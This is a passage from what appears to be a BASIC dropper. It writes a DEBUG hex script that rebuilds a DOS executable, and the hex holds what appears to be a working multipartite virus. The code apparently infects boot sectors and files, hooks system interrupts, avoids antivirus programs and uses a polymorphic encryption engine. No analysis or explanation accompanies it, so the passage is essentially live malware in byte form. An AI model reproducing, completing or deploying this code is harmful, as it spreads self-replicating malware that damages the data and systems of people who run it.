Print #1, "E 0410 C3 02 B8 F0 04 8B D0 B7 13 93 CD 2F 2E C5 3E 93"
Print #1, "E 0420 14 E8 F7 02 60 0E 1F 0E 07 80 FA 80 74 17 B4 04"
Print #1, "E 0430 CD 1A 8A C6 04 03 27 3C 12 76 03 2C 12 41 A2 70"
Print #1, "E 0440 02 88 0E 69 02 B8 01 02 BB 8F 12 B9 01 00 BA 80"
Print #1, "E 0450 00 E8 A9 0A 80 7F 09 8E 74 63 B1 04 8D B7 AE 01"
Print #1, "E 0460 83 C6 10 38 14 E0 F9 E3 54 8A 44 04 3C 01 74 08"
Print #1, "E 0470 3C 04 72 49 3C 06 77 45 8B 44 08 3C 11 72 3E E8"
Print #1, "E 0480 A1 0A B1 07 E8 73 0A 41 89 0E 0C 02 89 16 0F 02"
Print #1, "E 0490 53 33 DB B8 09 03 E8 64 0A 5B BE F8 01 8B FB B1"
Print #1, "E 04A0 1E F3 A4 B0 02 B9 E0 01 F3 AA B1 01 E8 4B 0A B8"
Print #1, "E 04B0 01 02 B6 01 E8 46 0A E8 69 0A E8 3D 0A 61 C3 60"
Print #1, "E 04C0 1E 8B EC C5 76 12 E8 9B 09 3D CC CF 74 26 3D 63"
Print #1, "E 04D0 80 75 1A 81 7C 04 72 11 75 13 81 7C 0E E4 CF 74"
Print #1, "E 04E0 13 3D 2E FF 75 07 81 7C 09 FA 9A 74 07 8C D8 3D"
Print #1, "E 04F0 00 F0 75 11 8C D8 2E A3 91 14 8B 46 12 2E A3 8F"
Print #1, "E 0500 14 80 66 17 FE 1F 61 CF FA 33 C0 8E D0 BC 00 7C"
Print #1, "E 0510 FB 8E C4 06 68 16 02 93 B8 09 02 B9 08 00 BA 80"
Print #1, "E 0520 00 CD 13 72 FE CB FC E8 5F 00 06 0E 07 B8 F0 04"
Print #1, "E 0530 BE 84 00 BF 8F 14 87 44 C8 AB 33 C0 87 44 CA AB"
Print #1, "E 0540 A5 A5 07 B8 01 02 8B DC 49 CD 13 0A D2 74 03 E8"
Print #1, "E 0550 D1 09 06 53 B1 FF 43 81 3F C2 73 75 04 C6 47 01"
Print #1, "E 0560 EB 81 3F A7 75 75 03 88 67 02 E2 EA E8 B5 FE 40"
Print #1, "E 0570 A3 44 0C B4 04 CD 1A 80 F9 90 77 07 72 0A 80 FE"
Print #1, "E 0580 04 72 05 C6 06 41 0C 90 CB 2E C6 06 41 0C C3 33"
Print #1, "E 0590 C0 8E D8 8E C0 2E A2 99 05 2E A3 B4 04 BF F0 04"
Print #1, "E 05A0 B0 EA AA 88 45 EF B8 A6 02 AB C7 45 EE B3 04 8C"
Print #1, "E 05B0 C8 AB 89 45 EE C3 60 1E 06 6A 00 1F 80 3E 87 00"
Print #1, "E 05C0 08 77 0D C7 06 F1 04 C3 02 C5 3E 84 00 E8 4B 01"
Print #1, "E 05D0 07 1F 61 E8 7B 09 2E FF 06 A1 0E 81 FC 00 13 72"
Print #1, "E 05E0 0B 81 FC 00 16 77 05 80 FC F2 74 69 80 FC 02 74"
Print #1, "E 05F0 05 80 FC 03 75 41 83 FA 02 72 5D 80 FA 80 75 37"
Print #1, "E 0600 83 F9 01 75 37 80 FE 01 77 2D 51 FE C8 74 0C 50"
Print #1, "E 0610 53 80 C7 02 41 E8 E5 08 49 5B 58 B0 01 80 FA 01"
Print #1, "E 0620 77 08 B9 01 50 E8 D5 08 EB 09 0A F6 75 02 B1 07"
Print #1, "E 0630 E8 EA 08 59 CA 02 00 2E FF 2E 8F 14 0A F6 75 F7"
Print #1, "E 0640 50 8C C8 80 FC 7C 58 74 EE 83 F9 11 77 E9 80 F9"
Print #1, "E 0650 06 72 E4 B4 00 F8 EB DC 83 F9 01 75 DA 50 E8 9C"
Print #1, "E 0660 08 73 05 44 44 F9 EB EE 58 26 80 BF FD 01 F2 74"
Print #1, "E 0670 99 60 1E 06 06 1F 0E 07 8B F3 BF 8F 12 B9 00 01"
Print #1, "E 0680 2E 38 0E 99 05 75 18 F3 A5 80 3F EB 75 11 8B 47"
Print #1, "E 0690 13 BF F4 11 3D 40 0B 74 08 BF E9 11 3D 60 09 75"
Print #1, "E 06A0 74 0E 1F B8 1E 35 CD 21 53 06 B4 25 50 52 8B D7"
Print #1, "E 06B0 CD 21 5A 0E 07 BD 50 00 B1 0A BF 67 12 8B DF 8B"
Print #1, "E 06C0 C5 AB 8A C1 F6 D8 04 0B B4 02 AB E2 F2 B8 0A 05"
Print #1, "E 06D0 B9 01 50 E8 27 08 72 38 BB 8F 12 E8 1C 08 72 30"
Print #1, "E 06E0 41 B8 09 03 33 DB E8 14 08 72 25 89 0E 0C 02 89"
Print #1, "E 06F0 1E 0F 02 93 BB 8F 12 8A 47 01 97 8D 79 02 BE F8"
Print #1, "E 0700 01 B9 1E 00 F3 A4 C6 87 FD 01 F2 B1 01 E8 EA 07"
Print #1, "E 0710 58 1F 5A CD 21 07 1F 61 E9 38 FF B4 30 CD 21 3C"
Print #1, "E 0720 05 72 09 B4 52 CD 21 06 1F BF 9E 10 B9 01 00 2E"
Print #1, "E 0730 89 3E 93 14 2E 8C 1E 95 14 8B 05 3C 90 74 05 3D"
Print #1, "E 0740 03 EB 75 07 8B 7D 08 C4 3D EB 12 3D 2E 3A 75 05"
Print #1, "E 0750 41 1E 07 EB 08 3C EA 75 13 C4 7D 01 49 B0 9A FC"
Print #1, "E 0760 AA B8 E0 04 AB 33 C0 AB B0 90 F3 AA C3 B8 00 43"
Print #1, "E 0770 CD 2F 3C 80 75 1E B8 10 43 CD 2F 2E 89 1E 97 14"
Print #1, "E 0780 2E 8C 06 99 14 B4 10 8B D7 2E FF 1E 97 14 48 75"
Print #1, "E 0790 03 8B EB C3 B8 00 58 CD 21 50 B8 01 58 50 BB 80"
Print #1, "E 07A0 00 CD 21 B8 02 58 CD 21 B4 00 50 B8 03 58 50 B3"
Print #1, "E 07B0 01 CD 21 B4 48 8B DF CD 21 95 58 5B CD 21 58 5B"
Print #1, "E 07C0 CD 21 C3 E9 D6 00 2E C6 06 B4 04 D5 60 E8 74 06"
Print #1, "E 07D0 8B DA B9 80 00 80 FF FF 74 32 80 7F 01 3A 75 2C"
Print #1, "E 07E0 80 3F 2E 75 24 81 7F FE 4F 50 74 0E 81 7F FE 54"
Print #1, "E 07F0 41 74 07 81 7F FB 51 43 75 0F FE 07 B8 20 09 33"
Print #1, "E 0800 DB B1 F0 CD 10 93 E9 8D 00 43 E2 D4 1E 06 B4 52"
Print #1, "E 0810 CD 21 26 8E 5F FE BE 10 00 80 7C F4 80 B0 00 77"
Print #1, "E 0820 73 BF 4E 01 E8 46 FF 8B D5 80 FE A0 72 0C 4D 8E"
Print #1, "E 0830 DD 8B C7 C7 44 F1 08 00 EB 35 1E 80 3C 46 74 05"
Print #1, "E 0840 80 3C 44 75 21 80 3C 4D 74 12 80 3C 54 74 0D 8B"
Print #1, "E 0850 44 01 48 8E C0 03 44 03 8E D8 EB E9 8D 03 26 2B"
Print #1, "E 0860 44 F1 26 89 44 F3 1F 8C D8 2B E8 95 05 4D 01 2E"
Print #1, "E 0870 8C 1E 8E 05 0E 1F A3 95 05 8E C2 B0 D6 A2 B4 04"
Print #1, "E 0880 B9 DC 14 33 F6 33 FF FC F3 A4 8E D9 8C 06 E3 04"
Print #1, "E 0890 8C 06 F3 04 07 1F 2E A2 B4 04 61 CB 1E 68 01 C8"
Print #1, "E 08A0 1F C7 06 03 00 4E 01 1F EB 68 2E 8C 1E F7 05 0E"
Print #1, "E 08B0 1F 89 1E E2 05 BB E2 05 89 47 06 89 4F 0C 89 57"
Print #1, "E 08C0 12 89 77 09 89 7F 0F 89 6F 03 8C 47 19 C6 47 B7"
Print #1, "E 08D0 68 FF 06 A3 0E FC E8 78 06 8A C4 1E B9 0E 00 07"
Print #1, "E 08E0 BF 1A 06 F2 AE 75 28 D1 E1 03 D9 68 FF 05 FF 77"
Print #1, "E 08F0 46 BB 00 00 BD 00 00 B8 00 00 BE 00 00 B9 00 00"
Print #1, "E 0900 BF 00 00 BA 00 00 68 00 00 1F 68 00 00 07 C3 E8"
Print #1, "E 0910 0E 00 80 FC 6C 77 01 CB 83 C4 04 32 C0 CA 02 00"
Print #1, "E 0920 E8 CE FF 2E C6 06 99 05 00 C3 4B 4C 11 12 4E 4F"
Print #1, "E 0930 42 3F 3E 3D 32 44 25 40 C3 0B 39 0B 29 0B 2D 0B"
Print #1, "E 0940 68 06 1B 0B B5 0A 84 0A 67 09 49 09 B9 09 B9 09"
Print #1, "E 0950 1B 0B 4F 06 20 43 4F 20 00 2F 44 3A 46 20 00 3C"
Print #1, "E 0960 00 74 15 3C 01 75 10 B8 02 3D E8 A8 05 72 08 93"
Print #1, "E 0970 E8 60 05 B4 3E CD 21 C3 E8 B0 04 50 8B F2 BF 9B"
Print #1, "E 0980 14 0E 07 AC AA 0A C0 75 FA 0E 1F 59 80 FD 3D 75"
Print #1, "E 0990 2A C3 81 7D F3 53 4D 75 07 81 7D F9 48 4B 74 0E"
Print #1, "E 09A0 81 7D F4 43 48 75 D0 81 7D F6 4B 4C 75 C9 E8 6F"
Print #1, "E 09B0 FF 83 C4 06 B8 02 00 F9 CA 02 00 80 FD 4B 75 11"
Print #1, "E 09C0 C6 06 81 06 C3 81 7D F9 41 56 75 05 C6 06 81 06"
Print #1, "E 09D0 90 BE 49 06 81 7D F8 57 49 75 06 80 7D FA 4E 74"
Print #1, "E 09E0 11 BE 44 06 81 7D F6 42 53 75 39 81 7D F9 41 4E"
Print #1, "E 09F0 75 32 BF 8F 12 8B DF C6 05 FF 47 AC 0A C0 74 05"
Print #1, "E 0A00 AA FE 07 EB F6 8B 36 E2 05 8E 1E FB 05 8C C8 87"
Print #1, "E 0A10 44 04 50 8B C3 87 44 02 96 1F 46 AC AA 2E FF 07"
Print #1, "E 0A20 3C 0D 75 F7 0E 1F C6 06 B9 09 90 B4 2F CD 21 53"
Print #1, "E 0A30 06 B4 1A BA 04 12 CD 21 B8 24 35 CD 21 53 06 B4"
Print #1, "E 0A40 25 50 BA 8D 00 CD 21 B3 00 E8 3B 00 B4 4E B9 27"
Print #1, "E 0A50 00 E8 DF 00 72 24 BE 00 12 33 FF 80 7C 04 02 77"
Print #1, "E 0A60 16 52 B5 04 BA F5 03 B0 04 EE E2 FE B5 04 EE E2"
Print #1, "E 0A70 FE EC A8 40 5A 75 03 E8 1D 00 58 1F 5A CD 21 B4"
Print #1, "E 0A80 1A 1F 5A CD 21 B3 00 60 B8 02 FA BA 45 59 CD 16"
Print #1, "E 0A90 2E 88 0E 76 07 61 C3 39 7C 20 75 07 81 7C 1E 11"
Print #1, "E 0AA0 27 72 F3 B4 2A CD 21 8B 44 1C D1 E8 80 E9 BC 3A"
Print #1, "E 0AB0 E1 75 09 C1 E8 04 24 0F 3A C6 74 DA 8A 44 19 24"
Print #1, "E 0AC0 07 74 08 B8 01 43 33 C9 E8 68 00 B8 02 3D E8 62"
Print #1, "E 0AD0 00 72 53 93 B8 00 57 CD 21 51 52 B4 3F E8 68 01"
Print #1, "E 0AE0 72 38 80 7C 18 40 74 32 8B 04 02 C4 3C A7 75 2A"
Print #1, "E 0AF0 8B 44 04 48 33 D2 BD 00 02 F7 E5 03 44 02 13 D7"
Print #1, "E 0B00 39 44 1E 75 15 39 54 20 75 10 B0 02 E8 43 01 E8"
Print #1, "E 0B10 23 02 74 06 E8 14 03 E8 20 00 B8 01 57 5A 59 E8"
Print #1, "E 0B20 F3 03 B4 3E CD 21 B8 01 43 33 C9 8A 4C 19 80 F9"
Print #1, "E 0B30 20 74 06 BA 9B 14 E9 DC 03 C3 8B 44 0E A3 75 00"
Print #1, "E 0B40 8B 44 10 A3 71 00 8B 44 14 A3 81 00 8B 44 16 A3"
Print #1, "E 0B50 7B 00 8B 44 0C 80 FC FF 74 12 8B 44 04 99 B9 20"
Print #1, "E 0B60 00 F7 E1 2B 44 08 03 44 0C 05 10 00 A3 56 00 B4"
Print #1, "E 0B70 00 CD 1A 52 92 B4 F2 2A E0 F7 D8 89 44 22 58 8A"
Print #1, "E 0B80 CC 25 1F 00 C1 E0 04 A3 FE 08 8B 54 1E 83 E2 0F"
Print #1, "E 0B90 03 C2 A3 AD 0E 80 E1 1F 89 0E 0B 09 8B 44 1E 05"
Print #1, "E 0BA0 24 12 8B D0 0C 1F 2B C2 A3 E6 08 50 68 00 BE 07"
Print #1, "E 0BB0 33 FF 26 81 3D 20 07 74 02 58 C3 E8 0C 04 B4 40"
Print #1, "E 0BC0 B9 00 12 E8 90 00 3B C1 59 C7 05 20 07 0E 1F 75"
Print #1, "E 0BD0 E9 B6 13 E8 3D 03 B9 24 00 BA 00 12 E8 5F 03 E8"
Print #1, "E 0BE0 31 03 E8 59 03 E8 68 00 8B 44 1E 8B 54 20 50 52"
Print #1, "E 0BF0 05 24 12 13 D7 05 17 00 13 D7 F7 F5 40 89 44 04"
Print #1, "E 0C00 89 54 02 5A 58 F7 36 5A 08 2B 44 08 50 B9 60 00"
Print #1, "E 0C10 C1 E9 04 2B C1 89 44 16 58 48 05 04 00 89 44 0E"
Print #1, "E 0C20 03 16 FE 08 89 54 14 B8 00 16 8B 16 0B 09 C1 E2"
Print #1, "E 0C30 04 2B C2 89 44 10 81 44 0A 61 01 8B 44 0A 39 44"
Print #1, "E 0C40 0C 77 03 89 44 0C B4 40 B9 19 00 8B D6 E9 C5 02"
Print #1, "E 0C50 B0 00 B4 42 33 C9 99 EB F4 FC 0E 07 8B F2 BF 9B"
Print #1, "E 0C60 14 8B CF AC AA 3C 5C 75 02 8B CF 0A C0 75 F4 2E"
Print #1, "E 0C70 89 0E 79 09 E8 7A FC 83 C4 06 CD 21 72 43 50 E8"
Print #1, "E 0C80 83 00 72 3B 1E 8D 77 1E BF 9B 14 BA 9B 14 B9 0D"
Print #1, "E 0C90 00 0E 07 F3 A4 07 0E 1F 8B F3 B8 00 3D E8 75 02"
Print #1, "E 0CA0 72 1D 93 E8 85 01 E8 8C 00 9C B4 3E CD 21 9D 75"
Print #1, "E 0CB0 0E A1 61 12 26 89 44 1A A1 63 12 26 89 44 1C 58"
Print #1, "E 0CC0 F8 50 E8 5B FC 58 CA 02 00 90 83 C4 06 CD 21 3C"
Print #1, "E 0CD0 00 75 EE 50 E8 2E 00 72 E6 0E 07 8D 77 FE BF 43"
Print #1, "E 0CE0 12 8B D7 FC B9 08 00 E8 12 00 B0 2E AA 8D 77 06"
Print #1, "E 0CF0 B1 03 E8 07 00 B0 00 AA 1E 07 EB 9E AC 3C 20 74"
Print #1, "E 0D00 03 AA E2 F8 C3 B4 2F CD 21 06 1F 80 3F FF 75 03"
Print #1, "E 0D10 83 C3 07 2E 80 3E E9 05 12 77 03 83 C3 03 8A 47"
Print #1, "E 0D20 1A 24 1F 3C 1F 74 02 F9 C3 83 7F 1C 00 75 05 81"
Print #1, "E 0D30 7F 1A 11 27 C3 B8 00 44 CD 21 A8 80 75 55 0E 1F"
Print #1, "E 0D40 B0 01 E8 0D FF 72 4C A3 63 0A 89 16 66 0A 80 FB"
Print #1, "E 0D50 00 74 27 B8 02 42 B9 FF FF BA DC FF CD 21 88 1E"
Print #1, "E 0D60 40 0A B4 3F B9 24 00 BA 43 12 CD 21 E8 CF 01 B8"
Print #1, "E 0D70 00 42 BA 00 00 B9 00 00 CD 21 80 3E 43 12 5A 74"
Print #1, "E 0D80 07 80 3E 43 12 4D 75 0B 50 A1 65 12 F7 D8 02 C4"
Print #1, "E 0D90 3C F2 58 C3 3C 02 75 FB E8 9A FF 75 F6 83 C4 06"
Print #1, "E 0DA0 E8 4E FB 51 B0 00 2E 8B 0E 63 12 2E 8B 16 61 12"
Print #1, "E 0DB0 2E 03 16 F4 05 83 D1 00 2E 03 0E EE 05 CD 21 E8"
Print #1, "E 0DC0 61 FB 59 EB 63 51 E8 6C FF 5D 75 C7 83 C4 06 BE"
Print #1, "E 0DD0 43 12 2B 44 1E 83 DA 00 2B 54 20 78 08 E8 40 FB"
Print #1, "E 0DE0 2B C0 F8 EB 43 03 C5 83 D2 00 75 02 2B E8 55 E8"
Print #1, "E 0DF0 FF FA 59 CD 21 9C 50 72 2A 1E 07 8B FA 0E 1F BE"
Print #1, "E 0E00 43 12 83 3E 66 0A 00 75 1A A1 63 0A 3D 18 00 73"
Print #1, "E 0E10 12 03 F0 03 C8 83 F9 18 76 06 2D 18 00 F7 D8 91"
Print #1, "E 0E20 FC F3 A4 E8 FA FA 58 9D CA 02 00 2E C6 06 40 0A"
Print #1, "E 0E30 00 2E C7 06 65 12 00 00 C3 3C 52 75 06 2E C6 06"
Print #1, "E 0E40 B9 09 C3 C3 80 FC 25 75 78 8B F2 81 3C CD 30 75"
Print #1, "E 0E50 13 2E C5 16 8F 14 1E 07 8B C2 B7 13 93 CD 2F A1"
Print #1, "E 0E60 FF FF EB FE 8B 04 3C EB 75 11 81 7C 07 FA 9C 75"
Print #1, "E 0E70 0A 81 7C 09 FC 53 75 03 C6 04 A8 3D FA 9C 75 0B"
Print #1, "E 0E80 81 7C 04 F6 06 75 04 C6 44 09 EB 3D 2E 83 75 13"
Print #1, "E 0E90 81 7C 09 50 55 75 0C 80 BC 6E 01 E8 75 05 C6 84"
Print #1, "E 0EA0 6E 01 C3 3D CD 30 75 02 EB FE 3D FB 2E 75 13 81"
Print #1, "E 0EB0 7C 07 75 03 75 0B 81 7C 0D FC FA 75 04 C6 44 08"
Print #1, "E 0EC0 00 C3 3D 9C EB 75 FA 81 7C 02 00 80 75 F3 C6 44"
Print #1, "E 0ED0 07 00 C3 E8 5F FE 75 E9 E8 75 FD BE 43 12 E8 65"
Print #1, "E 0EE0 FD 72 14 B8 00 42 8B 0E 63 12 8B 16 61 12 CD 21"
Print #1, "E 0EF0 B4 40 33 C9 E8 1E 00 E9 75 FE B8 01 03 53 33 DB"
Print #1, "E 0F00 E8 84 FB 5B FA 9C 2E FF 1E 8F 14 53 9C E8 75 FB"
Print #1, "E 0F10 9D 5B C3 B4 40 FA 9C 2E FF 1E 93 14 C3 E8 03 00"
Print #1, "E 0F20 E8 DA FF 60 8B F3 8B FB 8A CE BA AD DE D3 E2 B9"
Print #1, "E 0F30 FF 00 26 AD 33 C2 83 C2 7F AB E2 F6 61 C3 60 8B"
Print #1, "E 0F40 F2 8A 5C 23 49 AC 32 C3 02 D9 88 44 FF E2 F6 61"
Print #1, "E 0F50 C3 C3 60 B9 01 00 E2 FE 2E FE 06 44 0C 75 1E B8"
Print #1, "E 0F60 03 00 CD 10 B4 02 B7 00 BA 03 0C CD 10 BE 6F 0C"
Print #1, "E 0F70 2E AC 34 F5 CD 29 0A C0 75 F6 98 CD 16 61 C3 C9"
Print #1, "E 0F80 BD B4 A3 BA B6 CB D5 97 8C D5 BB 90 80 87 9A 97"
Print #1, "E 0F90 94 86 9D 90 87 D2 CC C6 DA B2 90 87 98 94 9B 8C"
Print #1, "E 0FA0 D5 31 B2 A7 BC A5 A5 B0 B1 31 B7 AC 31 B3 B0 B4"
Print #1, "E 0FB0 A7 31 A0 BB A1 BC B9 31 B1 B0 B4 A1 BD 31 A0 A6"
Print #1, "E 0FC0 31 B1 BA 31 A5 B4 A7 A1 31 F5 60 33 F6 B9 DC 14"
Print #1, "E 0FD0 F3 A4 BE 9A 0E 2B FF 33 C0 A3 2E 0E C6 06 37 0E"
Print #1, "E 0FE0 35 A3 38 0E C7 44 99 90 90 C6 44 98 05 B4 2C CD"
Print #1, "E 0FF0 21 89 4C 03 89 54 05 B4 2A CD 21 89 0C 88 44 02"
Print #1, "E 1000 52 B4 00 CD 1A 87 E9 59 87 F3 FC 8B C1 03 C2 33"
Print #1, "E 1010 C5 89 47 59 8B C2 0B C5 D1 C0 F7 D8 89 47 6F 89"
Print #1, "E 1020 47 94 68 9B 11 68 63 11 B8 42 11 FF D0 58 FF D0"
Print #1, "E 1030 58 FF D0 A1 13 0D 87 06 16 0D 87 06 19 0D F6 C1"
Print #1, "E 1040 01 74 04 87 06 16 0D A3 13 0D B0 0F E8 81 03 89"
Print #1, "E 1050 7F 0B 8B F1 83 E6 07 D1 E6 83 FE 06 72 11 83 FE"
Print #1, "E 1060 08 77 0C B0 F8 F6 C5 02 74 01 40 AA 88 47 96 F6"
Print #1, "E 1070 47 09 03 75 03 B0 2E AA F6 47 03 03 75 0B 83 C6"
Print #1, "E 1080 10 83 FE 18 77 03 B0 81 AA FF 50 A8 B8 AF 11 BE"
Print #1, "E 1090 C0 11 F6 C2 01 75 01 96 56 FF D0 58 FF D0 B0 0F"
Print #1, "E 10A0 E8 2D 03 8B 77 07 83 E6 03 D1 E6 FF 50 D8 E8 1D"
Print #1, "E 10B0 03 8A 47 05 25 03 00 96 81 C6 8A 0E A4 89 7F 0D"
Print #1, "E 10C0 AA E8 0A 03 83 FD 13 72 0F F6 47 03 03 75 09 B8"
Print #1, "E 10D0 33 C9 AB B0 E3 AA EB 0B 8B 77 06 83 E6 03 81 C6"
Print #1, "E 10E0 8E 0E A4 8B 47 0B 2B C7 48 26 80 7D FF E9 74 03"
Print #1, "E 10F0 AA EB 02 48 AB 57 B0 68 AA 8B 47 13 05 40 00 AB"
Print #1, "E 1100 B0 C3 AA 5F 8B 47 0D 8B F0 F7 D8 03 C7 48 26 88"
Print #1, "E 1110 04 B8 42 12 8B 77 11 2B C7 03 47 13 26 89 04 8B"
Print #1, "E 1120 77 0F 8B C7 03 47 13 B9 05 00 06 1F 80 3C FE 75"
Print #1, "E 1130 02 88 04 80 3C FF 75 02 88 24 46 E2 EF B8 82 76"
Print #1, "E 1140 F8 29 05 90 90 47 47 35 00 00 81 FF 01 12 72 F0"
Print #1, "E 1150 61 C3 69 0F 7C 0F 86 0F 8A 0F 94 0F 98 0F A3 0F"
Print #1, "E 1160 AE 0F FF 0E 2A 0F 39 0F 3D 0F 46 0F 98 0F A3 0F"
Print #1, "E 1170 AE 0F E1 0E E1 0E FA 0E 0D 0F CB 0F EC 0F F5 0F"
Print #1, "E 1180 13 10 28 10 35 10 47 10 56 10 6E 10 79 10 80 10"
Print #1, "E 1190 8E 10 8B C6 89 F0 8D 04 56 58 74 77 73 74 EB 75"
Print #1, "E 11A0 E9 72 62 11 50 11 59 11 59 11 00 00 00 00 00 00"
Print #1, "E 11B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 06"
Print #1, "E 11C0 07 03 03 04 05 07 07 01 02 05 08 10 28 74 7D 5F"
Print #1, "E 11D0 5F EC 10 E9 10 34 11 ED 10 13 11 F5 10 F9 10 0B"
Print #1, "E 11E0 11 17 11 23 11 F1 10 FE 10 3A 11 3E 11 2B 11 02"
Print #1, "E 11F0 11 B8 C0 05 F6 C6 01 74 03 B8 E8 2D E8 5B 00 88"
Print #1, "E 1200 67 9D B8 CC 45 AB 89 47 9E C3 B8 F0 35 EB ED B0"
Print #1, "E 1210 30 E8 5B 00 C6 47 97 31 B8 82 76 AB C3 4F B0 D1"
Print #1, "E 1220 AA 88 47 9D B8 C0 C0 F6 C6 01 74 03 B8 C8 C8 E8"
Print #1, "E 1230 28 00 B0 90 86 C4 89 47 9E C3 B0 00 E8 30 00 34"
Print #1, "E 1240 28 24 F8 40 88 47 97 EB CF B0 28 EB EF B0 10 E8"
Print #1, "E 1250 1D 00 34 08 EB EB B0 18 EB F5 8B 77 03 83 E6 03"
Print #1, "E 1260 02 40 1C AA C3 8B F2 83 E6 03 02 40 15 AA C3 8B"
Print #1, "E 1270 F2 83 E6 03 02 40 19 AA C3 B0 31 AA 88 47 97 B0"
Print #1, "E 1280 00 8B 77 03 83 E6 03 02 40 1F EB E3 B0 01 AA 34"
Print #1, "E 1290 28 88 47 97 EB E9 B0 29 EB F4 B0 11 AA 34 08 88"
Print #1, "E 12A0 47 97 EB DB B0 19 EB F4 B8 F7 15 AA 89 47 97 B0"
Print #1, "E 12B0 10 EB BC B8 F7 1D AA 89 47 97 B0 18 EB B1 B0 D1"
Print #1, "E 12C0 AA 88 47 97 B0 00 F7 C5 01 00 74 02 34 08 E8 9E"
Print #1, "E 12D0 FF 24 08 0C 05 34 08 88 47 98 C3 F6 C1 05 74 0E"
Print #1, "E 12E0 B0 40 E8 80 FF 50 B0 0F E8 E5 00 58 AA C3 B0 FF"
Print #1, "E 12F0 AA B0 C0 E8 6F FF 26 8B 45 FE AB C3 B4 C0 E8 13"
Print #1, "E 1300 00 B0 02 EB 07 B4 E8 E8 0A 00 B0 FE F6 C6 03 74"
Print #1, "E 1310 44 98 AB C3 B0 83 F6 C6 03 74 02 34 02 AA 8A C4"
Print #1, "E 1320 E9 42 FF B0 8D AA 8B F2 83 E6 03 8A 40 23 F6 C6"
Print #1, "E 1330 03 74 02 04 40 AA EB C9 B0 81 AA B0 F8 E8 25 FF"
Print #1, "E 1340 89 7F 11 AB C3 B0 B8 AA E8 F5 FF B0 2B AA B0 C0"
Print #1, "E 1350 E8 12 FF B0 F5 AA C3 B0 B8 AA E8 E3 FF B8 F7 D8"
Print #1, "E 1360 AB B0 03 AA EB E8 8B C2 24 03 75 CC 8B 77 09 83"
Print #1, "E 1370 E6 03 D1 E6 81 C6 82 0E A5 B0 3D AA EB C2 B0 B8"
Print #1, "E 1380 02 46 02 AA 8B 46 04 AB C3 B0 C7 AA B0 C0 EB F0"
Print #1, "E 1390 B0 8D AA 8A 46 02 98 C1 E0 03 04 06 EB E5 80 7E"
Print #1, "E 13A0 02 04 77 1C B0 B0 8A 66 04 02 46 02 96 B0 B4 8A"
Print #1, "E 13B0 66 05 02 46 02 F7 C7 01 00 75 01 96 AB 96 AB C3"
Print #1, "E 13C0 B0 68 AA 8B 46 04 AB B0 58 02 46 02 AA C3 B0 09"
Print #1, "E 13D0 98 96 E8 0D 00 25 0F 00 3B C6 77 F6 D1 E0 96 FF"
Print #1, "E 13E0 60 27 53 1E 0E 1F BB 97 04 8B 07 1F 43 03 DF 80"
Print #1, "E 13F0 E7 1F 2E 89 1E D7 10 5B C3 B0 FC AA C3 B0 FD AA"
Print #1, "E 1400 C3 B0 90 AA C3 B0 FA AA C3 B0 FB AA C3 C3 B0 98"
Print #1, "E 1410 AA C3 B8 F8 73 AB B8 01 EA AB C3 B0 B0 AA E8 C1"
Print #1, "E 1420 FF AA C3 B0 B4 EB F6 B0 8B AA E8 B5 FF 24 07 04"
Print #1, "E 1430 C0 AA C3 B0 B8 AA E8 A9 FF AB C3 B8 B4 4D AB B8"
Print #1, "E 1440 CD 21 AB C3 B8 8D 06 AB EB EC B0 25 EB E7 B0 0D"
Print #1, "E 1450 EB E3 E8 79 FF 8B 77 09 83 E6 03 D1 E6 FF 60 F8"
Print #1, "E 1460 B8 8C C8 AB B8 8E D8 AB C3 B0 0E AA E8 5F FF B0"
Print #1, "E 1470 1F AA C3 8A C1 24 07 3C 04 77 54 F6 47 03 03 74"
Print #1, "E 1480 4E E8 4A FF 8B 47 6F 89 47 94 50 8B 77 03 83 E6"
Print #1, "E 1490 03 8A 40 1C 8B 77 03 98 50 C1 EE 03 83 E6 03 55"
Print #1, "E 14A0 8B EC D1 E6 FF 50 E0 5D 58 58 C3 E8 20 FF 89 7F"
Print #1, "E 14B0 0F 6A FE 8B F2 83 E6 03 8A 40 15 8B F2 EB D8 B0"
Print #1, "E 14C0 0F E8 0C FF 8B 77 04 83 E6 03 D1 E6 FF 50 D0 C3"
Print #1, "E 14D0 8A C1 24 07 3C 04 77 F7 8A C5 25 03 00 D1 E0 96"
Print #1, "E 14E0 74 ED F6 47 03 03 74 E7 56 B0 0F E8 E2 FE 5E B0"
Print #1, "E 14F0 81 AA FF 60 C8 E9 11 F4 11 DF 02 25 02 0F 1B FF"
Print #1, "E 1500 54 F6 0F 08 DF 02 25 02 12 1B FF 6C F6 0F 08 00"
Print #1, "E 1510 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 1520 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 1530 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 1540 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 1550 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 1560 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 1570 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 1580 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 1590 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 15A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 15B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 15C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 15D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 15E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 15F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 1600 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 1610 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 1620 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 1630 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 1640 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 1650 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 1660 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "E 1670 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
